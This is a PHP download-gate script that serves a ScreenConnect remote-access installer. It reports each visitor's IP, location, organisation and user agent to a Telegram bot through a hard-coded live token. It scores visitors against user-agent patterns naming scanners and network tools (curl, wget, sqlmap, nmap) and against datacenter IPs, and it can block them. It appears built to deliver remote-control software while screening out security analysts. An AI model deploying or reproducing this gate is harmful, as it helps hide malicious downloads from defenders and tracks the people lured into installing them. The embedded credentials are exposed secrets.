<?php
// ==========================================================
// SAFE DOWNLOAD + IPINFO (TOKEN) + THREAT SCORE (NON-BLOCKING)
// cPanel-friendly, no false blocks by default
// ==========================================================

// ---------- CONFIG ----------
$file_name = 'ScreenConnect.ClientSetup.msi';
$file_path = __DIR__ . '/secure_downloads/' . $file_name;

// Optional token (leave empty to disable)
$downloadToken = ''; // e.g. abc123

// Telegram
$telegramBotToken = '8734425875:AAE0JT6ApzxdhzLxNZ0MPCHwz9JRmo7KmIQ';
$telegramChatID   = '5306751577';

// IPinfo Token
$ipinfoToken = '5a8ce2984c7007';

// Optional: block ONLY if threat score is critical (>= 50)
// Keep false for logging-only behavior (recommended)
$blockOnCriticalThreat = false;

// ==========================================================
// HELPERS
// ==========================================================

// Safe HTML escape for Telegram (parse_mode=HTML)
function e($str) {
    return htmlspecialchars((string)$str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Telegram sender (fast + safe, non-fatal)
function tg($msg) {
    global $telegramBotToken, $telegramChatID;
    if (!$telegramBotToken || !$telegramChatID) return;

    $url = "https://api.telegram.org/bot{$telegramBotToken}/sendMessage";
    $data = [
        'chat_id' => $telegramChatID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_CONNECTTIMEOUT => 2,
        CURLOPT_POSTFIELDS => $data
    ]);
    @curl_exec($ch);
    @curl_close($ch);
}

// Try to get the most accurate client IP (supports Cloudflare)
function getClientIp() {
    // Cloudflare
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    // Standard proxy header (can be spoofed if you are NOT behind a proxy)
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $parts = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($parts[0]);
        if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
    }
    // Fallback
    return $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
}

// Fetch URL with short timeout (tries file_get_contents then curl)
function fetchUrl($url, $timeoutSec = 2) {
    // Try file_get_contents if allowed
    if (ini_get('allow_url_fopen')) {
        $ctx = stream_context_create([
            'http' => [
                'timeout' => $timeoutSec,
                'ignore_errors' => true,
                'header' => "User-Agent: Mozilla/5.0\r\n"
            ],
            'ssl' => [
                'verify_peer' => true,
                'verify_peer_name' => true
            ]
        ]);
        $res = @file_get_contents($url, false, $ctx);
        if ($res !== false && $res !== null) return $res;
    }

    // Fallback to curl
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $timeoutSec,
            CURLOPT_CONNECTTIMEOUT => 1,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTPHEADER => ["User-Agent: Mozilla/5.0"]
        ]);
        $res = @curl_exec($ch);
        @curl_close($ch);
        if ($res !== false && $res !== null) return $res;
    }

    return null;
}

// ==========================================================
// IPINFO LOOKUP (TOKENED)
// ==========================================================
function getIpIntelligence($ip, $token) {
    $url = $token
        ? "https://ipinfo.io/{$ip}/json?token={$token}"
        : "https://ipinfo.io/{$ip}/json";

    $json = fetchUrl($url, 2);
    $data = json_decode((string)$json, true);
    if (!is_array($data)) $data = [];

    $org = $data['org'] ?? 'Unknown';

    // Conservative DC detection (avoid false positives)
    $isDC = (bool) preg_match('/amazon|aws|google|gcp|digitalocean|linode|ovh|azure|microsoft|vps|server|hetzner|vultr/i', $org);

    return [
        'city' => $data['city'] ?? 'Unknown',
        'region' => $data['region'] ?? '',
        'country' => $data['country'] ?? 'Unknown',
        'org' => $org,
        'is_datacenter' => $isDC
    ];
}

// ==========================================================
// THREAT DETECTION (LOGGING ONLY BY DEFAULT)
// ==========================================================
function detectThreats() {
    global $ipinfoToken;

    $threatScore = 0;
    $threatReasons = [];

    $ipAddress = getClientIp();
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $headers = function_exists('getallheaders')
        ? array_change_key_case(getallheaders(), CASE_LOWER)
        : [];

    // User-Agent checks (only add once)
    $patterns = [
        '/bot|crawl|spider|scanner/i' => 20,
        '/curl|wget|python|sqlmap|nmap|nikto/i' => 20,
        '/headless|selenium|puppeteer/i' => 20,
        '/tor|vpn|proxy|nordvpn|expressvpn/i' => 20
    ];
    foreach ($patterns as $regex => $score) {
        if ($userAgent && preg_match($regex, $userAgent)) {
            $threatScore += $score;
            $threatReasons[] = "Suspicious User-Agent";
            break;
        }
    }

    // Missing headers (light scoring)
    foreach (['accept', 'accept-language', 'connection'] as $h) {
        if (!isset($headers[$h])) {
            $threatScore += 10;
            $threatReasons[] = "Missing header: $h";
        }
    }

    // IP Intelligence
    $ipIntel = getIpIntelligence($ipAddress, $ipinfoToken);
    if (!empty($ipIntel['is_datacenter'])) {
        $threatScore += 15;
        $threatReasons[] = "Datacenter IP: {$ipIntel['org']}";
    }

    // Threat Level
    if ($threatScore >= 50) $level = '🚨 CRITICAL THREAT';
    elseif ($threatScore >= 30) $level = '⚡ HIGH RISK';
    elseif ($threatScore >= 15) $level = '🔎 MEDIUM RISK';
    elseif ($threatScore >= 5)  $level = '📝 LOW RISK';
    else $level = '✅ CLEAN';

    return [
        'score' => $threatScore,
        'level' => $level,
        'reasons' => array_values(array_unique($threatReasons)),
        'ip' => $ipAddress,
        'agent' => $userAgent ?: 'Unknown',
        'ipinfo' => $ipIntel
    ];
}

// ==========================================================
// START
// ==========================================================

// ---------- BASIC SAFETY ----------
if (!file_exists($file_path) || !is_readable($file_path)) {
    http_response_code(404);
    exit('File not found.');
}

// ---------- OPTIONAL TOKEN CHECK ----------
if ($downloadToken !== '') {
    if (!isset($_GET['token']) || $_GET['token'] !== $downloadToken) {
        http_response_code(403);
        exit('Invalid download token.');
    }
}

// Gather intel
$threat  = detectThreats();
$ip      = $threat['ip'];
$ua      = $threat['agent'];
$country = $threat['ipinfo']['country'] ?? 'Unknown';
$org     = $threat['ipinfo']['org'] ?? 'Unknown';
$city    = $threat['ipinfo']['city'] ?? 'Unknown';
$region  = $threat['ipinfo']['region'] ?? '';
$reasons = !empty($threat['reasons']) ? implode(', ', $threat['reasons']) : 'None';

// ---------- OPTIONAL (STRICT) BLOCK ----------
if (!empty($blockOnCriticalThreat) && $threat['score'] >= 50) {
    tg("⛔ <b>DOWNLOAD BLOCKED</b>\n\n" .
        "📦 File: <code>".e($file_name)."</code>\n" .
        "🚨 Level: <b>".e($threat['level'])."</b>\n" .
        "🎯 Score: <code>".e($threat['score'])."</code>\n" .
        "🧾 Reasons: <code>".e($reasons)."</code>\n\n" .
        "🌐 IP: <code>".e($ip)."</code>\n" .
        "🧭 Location: <code>".e("$city, $region, $country")."</code>\n" .
        "🏢 Org: <code>".e($org)."</code>\n" .
        "🧠 UA: <code>".e($ua)."</code>"
    );

    http_response_code(403);
    exit('Access denied.');
}

// ---------- LOG CLICK ----------
tg("📥 <b>DOWNLOAD CLICK</b>\n\n" .
    "📦 File: <code>".e($file_name)."</code>\n" .
    "🚦 Level: <b>".e($threat['level'])."</b>\n" .
    "🎯 Score: <code>".e($threat['score'])."</code>\n" .
    "🧾 Reasons: <code>".e($reasons)."</code>\n\n" .
    "🌐 IP: <code>".e($ip)."</code>\n" .
    "🧭 Location: <code>".e("$city, $region, $country")."</code>\n" .
    "🏢 Org: <code>".e($org)."</code>\n" .
    "🧠 UA: <code>".e($ua)."</code>"
);

// ---------- PREPARE CLEAN OUTPUT ----------
if (session_status() === PHP_SESSION_ACTIVE) {
    session_write_close();
}
@set_time_limit(0);
@ignore_user_abort(true);
while (ob_get_level()) { @ob_end_clean(); }

// ---------- DOWNLOAD ----------
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$file_name.'"');
header('Content-Length: ' . filesize($file_path));
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Pragma: public');
header('X-Content-Type-Options: nosniff');

$start = microtime(true);
$fp = fopen($file_path, 'rb');
if ($fp === false) {
    http_response_code(500);
    exit('Unable to open file.');
}
while (!feof($fp)) {
    echo fread($fp, 8192);
    flush();
}
fclose($fp);

// ---------- LOG SUCCESS ----------
$time = round(microtime(true) - $start, 2);
$size = round(filesize($file_path) / (1024 * 1024), 2) . ' MB';

tg("✅ <b>DOWNLOAD COMPLETE</b>\n\n" .
    "📦 File: <code>".e($file_name)."</code>\n" .
    "📊 Size: <code>".e($size)."</code>\n" .
    "⏱ Time: <code>".e($time.'s')."</code>\n" .
    "🚦 Level: <b>".e($threat['level'])."</b>\n" .
    "🎯 Score: <code>".e($threat['score'])."</code>\n" .
    "🧾 Reasons: <code>".e($reasons)."</code>\n\n" .
    "🌐 IP: <code>".e($ip)."</code>\n" .
    "🧭 Location: <code>".e("$city, $region, $country")."</code>\n" .
    "🏢 Org: <code>".e($org)."</code>"
);

exit;
